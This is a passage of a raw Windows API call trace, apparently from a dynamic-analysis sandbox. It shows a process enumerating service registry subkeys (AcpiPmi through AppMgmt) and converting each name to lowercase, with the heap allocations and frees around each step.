lpUsedDefaultChar=0x0) returned 4 [0260.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.815] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.815] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.815] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.815] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0260.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1de4a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0260.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.815] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.815] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.815] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.815] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0260.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0260.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1de4408, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0260.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.816] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.816] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.816] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.816] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0260.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1de4a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0260.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.816] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.816] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.816] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.816] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0260.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0260.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.816] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.816] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.816] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.816] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0260.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1de4a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0260.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.816] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.816] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.816] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.816] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adsi") returned 0x0 [0260.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0260.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.817] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.817] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.817] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.817] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0260.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1de4a80, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0260.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.817] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.817] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.817] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.817] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x10, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AFD") returned 0x0 [0260.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0260.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.817] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.817] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.817] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.817] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x11, lpName=0x1dd29e0, cchName=0x104 | out: lpName="agp440") returned 0x0 [0260.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1de4a80, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0260.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.817] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.817] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.817] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.817] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x12, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ALG") returned 0x0 [0260.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0260.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.818] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.818] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.818] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.818] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x13, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aliide") returned 0x0 [0260.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1de4a80, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0260.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.818] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.818] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.818] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.818] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x14, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdide") returned 0x0 [0260.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0260.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.818] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.818] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.818] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.818] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x15, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0260.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1de4a80, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0260.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.819] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.819] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.819] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.819] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x16, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0260.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0260.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.819] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.819] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.819] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.819] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x17, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0260.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1de4a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0260.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.819] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.819] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.819] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.819] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x18, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0260.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0260.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.819] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.819] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.819] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.819] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x19, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0260.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1de4a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0260.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.820] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.820] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.820] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.820] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppID") returned 0x0 [0260.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0260.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.820] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.820] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.820] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.820] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0260.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1de4a80, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0260.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.820] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.820] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.820] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.820] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0260.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0260.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.820] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.820] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.820] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.821] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0260.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.821] WideCharToMultiByte (in: CodePage=0x0, 